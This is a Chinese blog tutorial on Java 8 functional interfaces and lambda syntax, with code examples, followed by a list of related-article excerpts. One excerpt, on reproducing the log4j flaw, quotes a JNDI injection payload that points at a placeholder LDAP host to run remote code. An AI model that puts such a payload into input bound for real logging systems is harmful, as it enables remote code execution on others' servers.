Java8 进阶

Java8 进阶

文章目录

    • Java8 进阶
        • 什么是函数式接口?
        • public interface Supplier
        • public interface Consumer
        • public interface Predicate
        • public interface Function
        • Java8 特性总结:
          • 一、Function<T, R>
          • 二、Consumer<T>
          • 三、Supplier<T>
          • 四、Predicate<T>
            • Lambda表达式的基本结构:

什么是函数式接口?

首先,它还是一个接口,所以必须满足接口最基本的定义。但它是一个特殊的接口:SAM类型的接口(Single Abstract Method)。可以在调用时,使用一个lambda表达式作为参数。定义要求:
1. 只能有一个抽象方法需要被实现

@FunctionalInterface 
interface Converter<F, T> { 
    T convert(F from); 
 }

备注:此处不包括与Object的public方法(clone方法不行,因为clone方法是protected,编译会报错)重名的方法。当然里面的默认方法、static方法都是无所谓的

default 修饰的默认方法方法,这个关键字是Java8中新增的,为的目的就是使得某一些接口,原则上只有一个方法被实现,但是由于历史原因,不得不加入一些方法来兼容整个JDK中的API,所以就需要使用default关键字来定义这样的方法
  1. default 修饰的默认方法方法,这个关键字是Java8中新增的,为的目的就是使得某一些接口,原则上只有一个方法被实现,但是由于历史原因,不得不加入一些方法来兼容整个JDK中的API,所以就需要使用default关键字来定义这样的方法

以下附JDK 8之前已有的函数式接口:
java.lang.Runnable
java.util.concurrent.Callable
java.security.PrivilegedAction
java.util.Comparator
java.io.FileFilter
java.nio.file.PathMatcher
java.lang.reflect.InvocationHandler
java.beans.PropertyChangeListener
java.awt.event.ActionListener
javax.swing.event.ChangeListener

Java8还提供了@FunctionalInterface注解来帮助我们标识函数式接口。所以Java8后上面那些接口都被打上了这个标记。下面给出一张图:说出Java8新提供的函数式接口们(可以满足99%需求):
在这里插入图片描述

四大核心函数式接口:

名称一元接口说明二元接口说明
一般函数Funcation一元函数,抽象apply方法BiFunction二元函数,抽象apply方法
算子函数UnaryOperator一元函数,抽象apply方法BinaryOperator二元函数,抽象apply方法
谓词函数(输出boolean)Predicate一元函数,抽象test方法BiPredicate二元函数,抽象test方法
消费者(无返回值)Consumer一元函数,抽象accept方法BiConsumer二元函数,抽象accept方法
供应者(无参数,只有返回值)Supplier供应者函数,抽象get方法--
public interface Supplier

其简洁的声明,会让人以为不是函数。这个抽象方法的声明,同Consumer相反,是一个只声明了返回值,不需要参数的函数(这还叫函数?)。也就是说Supplier其实表达的不是从一个参数空间到结果空间的映射能力,而是表达一种生成能力。

Supplier<String> supplier = String::new;

其他Supplier扩展接口:

  • BooleanSupplier : boolean getAsBoolean();返回boolean
  • DobuleSupplier: double getAsDouble();返回double
  • IntSupplier: int getAsInt();返回int
  • LongSupplier: long getAsLong();返回long
public interface Consumer

这个接口声明太重要了,应用场景太多了。因为需要返回值的我们用Function,不需要返回值的,我们用它就可。

Consumer consumer = System.out::println;

看其源码 还有个默认方法andThen:

void accept(T t);
 default Consumer<T> andThen(Consumer<? super T> after) {
        Objects.requireNonNull(after);
        return (T t) -> { accept(t); after.accept(t); };
    }

andThen可以实现消费两次。消费一次后,继续消费一次。使用场景:其他Consumer扩展接口:

  • BiConsumer:void accept(T t, U u);接受两个参数

  • DoubleConsumer:void accept(double value);接受一个double参数

  • IntConsumer:void accept(int value);接受一个int参数

  • LongConsumer:void accept(long value);接受一个long参数

  • ObjDoubleConsumer:void accept(T t, double value);接受一个泛型参数一个double参数

  • ObjIntConsumer:void accept(T t, int value);接受一个泛型参数一个int参数

  • ObjLongConsumer:void accept(T t, long value);接受一个泛型参数一个long参数

public interface Predicate

断言接口,有点意思了。其默认方法也封装了and、or和negate逻辑 和一个静态方法isEqual。

//and方法接收一个Predicate类型,也就是将传入的条件和当前条件以并且的关系过滤数据。
default Predicate<T> and(Predicate<? super T> other) {
    Objects.requireNonNull(other);
    return (t) -> test(t) && other.test(t);
}

//or方法同样接收一个Predicate类型,将传入的条件和当前的条件以或者的关系过滤数据
default Predicate<T> or(Predicate<? super T> other) {
    Objects.requireNonNull(other);
    return (t) -> test(t) || other.test(t);
}

//negate就是将当前条件取反
default Predicate<T> negate() {
    return (t) -> !test(t);
}

static <T> Predicate<T> isEqual(Object targetRef) {
    return (null == targetRef)
            ? Objects::isNull
            : object -> targetRef.equals(object);
}

看几个案例:

public List<Integer> conditionFilterAnd(List<Integer> list, Predicate<Integer> predicate,Predicate<Integer> predicate2){
    return list.stream().filter(predicate.and(predicate2)).collect(Collectors.toList());
}

public List<Integer> conditionFilterOr(List<Integer> list, Predicate<Integer> predicate,Predicate<Integer> predicate2){
    return list.stream().filter(predicate.or(predicate2)).collect(Collectors.toList());
}
public List<Integer> conditionFilterNegate(List<Integer> list, Predicate<Integer> predicate){
    return list.stream().filter(predicate.negate()).collect(Collectors.toList());
}

//大于5并且是偶数
result = predicateTest.conditionFilterAnd(list, integer -> integer > 5, integer1 -> integer1 % 2 == 0);
result.forEach(System.out::println);//6 8 10
System.out.println("-------");

//大于5或者是偶数
result = predicateTest.conditionFilterOr(list, integer -> integer > 5, integer1 -> integer1 % 2 == 0);
result.forEach(System.out::println);//2 4 6 8 9 10
System.out.println("-------");

//条件取反
result = predicateTest.conditionFilterNegate(list,integer2 -> integer2 > 5);
result.forEach(System.out::println);// 1 2 3 4 5
System.out.println("-------");

最后再来看一下Predicate接口中的唯一一个静态方法(小纵范围使用):

isEqual方法返回类型也是Predicate,也就是说通过isEqual方法得到的也是一个用来进行条件判断的函数式接口实例。而返回的这个函数式接口实例是通过传入的targetRef的equals方法进行判断的。我们看一下具体

public static void main(String[] args) {
        System.out.println(Predicate.isEqual("test").test("test")); //true
        System.out.println(Predicate.isEqual(null).test("test")); //false
        System.out.println(Predicate.isEqual(null).test(null)); //true
        System.out.println(Predicate.isEqual(1).test(new Integer(1))); //true
        //注意 这里是false的
        System.out.println(Predicate.isEqual(new Long(1)).test(new Integer(1))); //false
    }

其他Predicate扩展接口:

  • BiPredicate:boolean test(T t, U u);接受两个参数的,判断返回bool

  • DoublePredicate:boolean test(double value);入参为double的谓词函数

  • IntPredicate:boolean test(int value);入参为int的谓词函数

  • LongPredicate:boolean test(long value);入参为long的谓词函数

public interface Function

这个接口非常非常总要。是很上层的一个抽象。除了一个抽象方法apply外,其默认实现了3个default方法,分别是compose、andThen和identity。

  default <V> Function<T, V> andThen(Function<? super R, ? extends V> after) {
        Objects.requireNonNull(after);
        return (T t) -> after.apply(apply(t));
    }
    
 default <V> Function<V, R> compose(Function<? super V, ? extends T> before) {
        Objects.requireNonNull(before);
        return (V v) -> apply(before.apply(v));
    }

compose 和 andThen 的不同之处是函数执行的顺序不同。andThen就是按照正常思维:先执行调用者,再执行入参的。然后compose 是反着来的,这点需要注意。看看唯一的一个静态方法identity:

static <T> Function<T, T> identity() {
        return t -> t;
    }

我们会发现,identity啥都没做,只是返回了一个Function方法,并且是两个泛型都一样的方法,意义着实不是太大。下面看一个复杂点的例子,各位感受一下:

 public static void main(String[] args) {
        Function<Integer, Integer> times2 = i -> i * 2; //加倍函数
        Function<Integer, Integer> squared = i -> i * i; //平方函数

        System.out.println(times2.apply(4)); //8
        System.out.println(squared.apply(4)); //16

        System.out.println(times2.compose(squared).apply(4));  //32   先4×4然后16×2, 先执行参数,再执行调用者
        System.out.println(times2.andThen(squared).apply(4));  //64   先4×2,然后8×8, 先执行调用者,再执行参数

        //看看这个例子Function.identity()构建出一个恒等式函数而已,方便方法的连缀 这就是它的唯一优点
        System.out.println(Function.identity().compose(squared).apply(4));   //16 先执行4*4,再执行identity 值不变
    }
Java8 特性总结:
一、Function<T, R>

T:入参类型;R 出参

调用方法:

R apply(T t); 

定义函数示例:

Function<Integer, Integer> func = p -> p * 10;    // 输出入参的10倍

调用函数示例:

func.apply(10);    // 结果100
二、Consumer

T:入参类型;void 没有出参

调用方法:

void accept(T t);

定义函数示例:

Consumer<String> consumer= p -> System.out.println(p);    // 因为没有出参,常用于打印、发送短信等消费动作

调用函数示例:

consumer.accept("18800008888");
三、Supplier

T:出参类型;void没有入参

调用方法:

T get();

定义函数示例:

Supplier<Integer> supplier= () -> 100;    // 常用于业务“有条件运行”时,符合条件再调用获取结果的应用场景;运行结果须提前定义,但不运行。

调用函数示例:

supplier.get();
四、Predicate

T:入参类型;出参类型是Boolean

调用方法:

boolean test(T t);

定义函数示例:

Predicate<Integer> predicate = p -> p % 2 == 0;    // 判断是否、是不是偶数

调用函数示例:

predicate.test(100);    // 运行结果true
函数名称入参出参描述
FunctionTR接收一个输入参数,返回一个结果。参数与返回值的类型可以不同,我们之前的map方法内部lambda就是表示这个函数式接口的;public interface Function<T, R> { R apply(T t); }
PredicateTBoolean接收一个输入参数,返回一个布尔值结果。比如我在对数据流中的元素进行筛选的时候,就可以基于Predicate的lambda;public interface Predicate { boolean test(T t); }
ConsumerTVoid接收一个输入参数并且无返回参数。 比如我们针对数据流的每一个元素进行打印,就可以基于Consumer的lambda;public interface Consumer { void accept(T t); }
SupplierVoidT无需输入参数,值返回结果。看接口名就知道是发挥了对象工厂的作用;public interface Supplier { T get(); }
Lambda表达式的基本结构:
  • 一个Lambda表达式可以有0个或多个参数,参数的类型可以明确声明,也可以通过上下文来推断。例如(int a)和(a)效果一样;
  • 所有参数都必须包含在圆括号内,参数之间用逗号相隔;
  • 空圆括号代表参数集为空。例如:()-> 42
  • 当只有一个参数,且其类型可以推导出时,圆括号()可以省略。例如:a -> return a* a
  • Lambda表达式的主体也就是body可以包含0条或多条语句。
  • 如果表达式的主体只有一条语句,花括号{}可以省略,匿名函数的返回类型与该主体表达式一致
  • 如果表达式的主体包含一条语句以上,则必须包含在花括号{}里面形成代码块。匿名函数的返回类型与该主体表达式一致,若没有返回则为空。
  • statement和expression的区别,expression只有一句,不需要花括号包裹,不需要return;statement需要花括号包裹,且如果有返回值,必须return

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519843.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

位运算-191. 位1的个数- 136. 只出现一次的数字

位1的个数 已解答 简单 相关标签 相关企业 编写一个函数&#xff0c;输入是一个无符号整数&#xff08;以二进制串的形式&#xff09;&#xff0c;返回其二进制表达式中 设置位 的个数&#xff08;也被称为汉明重量&#xff09;。 示例 1&#xff1a; 输入&#xff1a;n 11 输…

Linux第4课 Linux的基本操作

文章目录 Linux第4课 Linux的基本操作一、图形界面介绍二、终端界面介绍 Linux第4课 Linux的基本操作 一、图形界面介绍 本节以Ubuntu系统的GUI为例进行说明&#xff0c;Linux其他版本可自行网搜。 图形系统进入后&#xff0c;左侧黄框内为菜单栏&#xff0c;右侧为桌面&…

c# 指数搜索(Exponential Search)

该搜索算法的名称可能会产生误导&#xff0c;因为它的工作时间为 O(Log n)。该名称来自于它搜索元素的方式。 给定一个已排序的数组和要 搜索的元素 x&#xff0c;找到 x 在数组中的位置。 输入&#xff1a;arr[] {10, 20, 40, 45, 55} x 45 输出&#xff1a;在索…

检验平台最基本的技术要求有哪几条

检验平台最基本的技术要求通常有以下几条&#xff1a; 系统稳定性&#xff1a;检验平台应具备良好的稳定性&#xff0c;能够长时间运行而不出现系统崩溃或异常情况。 数据安全性&#xff1a;检验平台应具备对数据进行安全存储和传输的能力&#xff0c;确保数据不被非法获取、篡…

吴恩达机器学习笔记:第 6 周-11机器学习系统的设计(Machine Learning System Design)11.1-11.5

目录 第 6 周 11、 机器学习系统的设计(Machine Learning System Design)11.1 首先要做什么11.2 误差分析11.3 类偏斜的误差度量11.4 查准率和查全率之间的权衡11.5 机器学习的数据 第 6 周 11、 机器学习系统的设计(Machine Learning System Design) 11.1 首先要做什么 在接…

基于Python的豆瓣电影评分可视化,豆瓣电影评分预测系统

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

2024年阿里云4月服务器有哪些优惠活动?

2024年阿里云服务器4月优惠活动有哪些&#xff1f;4月份最新优惠活动有99计划云服务器99元一年、学生服务器、游戏服务器优惠、云服务器精选特惠、高校计划优惠券300元、阿里云服务器免费试用等活动。4月云服务器最新优惠价格2核2G3M带宽99元一年、2核4G5M带宽199元一年&#x…

AcWing 312. 乌龟棋(每日一题)

原题链接&#xff1a;312. 乌龟棋 - AcWing题库 小明过生日的时候&#xff0c;爸爸送给他一副乌龟棋当作礼物。 乌龟棋的棋盘只有一行&#xff0c;该行有 N 个格子&#xff0c;每个格子上一个分数&#xff08;非负整数&#xff09;。 棋盘第 1 格是唯一的起点&#xff0c;第…

vue + koa + Sequelize + 阿里云部署 + 宝塔:宝塔数据库连接

之前文章已经介绍了宝塔上传前后端代码并部署&#xff0c;不清楚的请看这篇文章&#xff1a; vue koa 阿里云部署 宝塔&#xff1a;宝塔前后端部署 下面是宝塔创建数据库&#xff1a; 我用的 koa Sequelize 连接的数据库&#xff0c;Sequelize 非常适合前端使用&#xf…

Map源码解析

基本介绍 其实HashMap底层是个什么东西我们之前也讲过, 就是一个哈希桶(差不多可以看成一个数组), 然后每一个节点又连接着链表/红黑树之类的, 下面让我们看一看具体在源码上是怎样实现的: 常量及其它 -> static final int DEFAULT_INITIAL_CAPACITY 1 << 4; //这个…

springboot 在fegin调用中sdk集成主工程,A component required a bean of type.....

一 前景描述 1.1 总结 1.主工程启动类&#xff08;这里是FeginApp8081&#xff09;所在的路径&#xff0c;和调用sdk的类&#xff0c;这里是FeginJiekou接口类型&#xff0c;其所在目录和主工程目录启动一致。则不需要在启动加制定扫描注解。 主工程启动类路径&#xff1a;…

《C++程序设计》阅读笔记【4-指针(2)】

&#x1f308;个人主页&#xff1a;godspeed_lucip &#x1f525; 系列专栏&#xff1a;《C程序设计》阅读笔记 本文对应的PDF源文件请关注微信公众号程序员刘同学&#xff0c;回复C程序设计获取下载链接。 1 指针1.1 字符指针1.1.1 字符串的表示1.1.2 字符串的属性1.1.3 字符…

单片机之蜂鸣器

目录 蜂鸣器介绍 蜂鸣器的分类 发声原理分类 按有源无源分类 三极管驱动 蜂鸣器原理 音符与频率对照表 蜂鸣器播放130.8Hz的声音 仿真案例 蜂鸣器发声 电路图 keil文件 蜂鸣器播放音乐 歌曲数据获得 使用的频率 keil文件 蜂鸣器介绍 前言&#xff1a;蜂鸣器是…

【洛谷 P8655】[蓝桥杯 2017 国 B] 发现环 题解(邻接表+并查集+路径压缩)

[蓝桥杯 2017 国 B] 发现环 题目描述 小明的实验室有 N N N 台电脑&#xff0c;编号 1 ∼ N 1 \sim N 1∼N。原本这 N N N 台电脑之间有 N − 1 N-1 N−1 条数据链接相连&#xff0c;恰好构成一个树形网络。在树形网络上&#xff0c;任意两台电脑之间有唯一的路径相连。 …

深入理解Java异常处理机制(day20)

异常处理 异常处理是程序运行过程产生的异常情况进行恰当的处理技术 在计算机编程里面&#xff0c;异常的情况比所我们所想的异常情况还要多。 Java里面有两种异常处理方式&#xff1b; 1.利用trycatchfinaly语句处理异常&#xff0c;优点是分开了处理异常代码和程序正常代码…

如何在Ubuntu系统使用Nextcloud+Cpolar搭建可公网访问私人专属网盘

文章目录 1. 安装Docker2. 使用Docker拉取Nextcloud镜像3. 创建并启动Nextcloud容器4. 本地连接测试5. 公网远程访问本地Nextcloud容器5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 正文开始前给大家推荐个网站&#xff0c;前些天发现了一个巨牛…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

C盘清理指南

1&#xff0c;临时文件清理 %TEMP%是Windows系统临时文件的环境变量&#xff0c;直接作为指令执行可以打开当前系统的临时文件夹。许多用户通过删除该文件夹中的文件来清理Windows的临时文件&#xff0c;但实际上这样清理并不彻底&#xff0c;我们可以有更轻松、安全的方法。风…

【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图

SCI&#xff0c;CCF&#xff0c;EI及核心期刊绘图宝典&#xff0c;爆款持续更新&#xff0c;助力科研&#xff01; 本期分享&#xff1a; 【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图&#xff0c;文末附完整代码。 1.环境准备 python 3 import proplot as pp…

Java流操作解析:深度剖析中间操作、终端操作与并行处理机制

文章目录 一、中间操作1.1 过滤&#xff08;filter&#xff09;1.2 映射&#xff08;map&#xff09;1.3 排序&#xff08;sorted&#xff09;1.4 去重&#xff08;distinct&#xff09; 二、 终端操作2.1 收集&#xff08;collect&#xff09;2.2 计数&#xff08;count&#…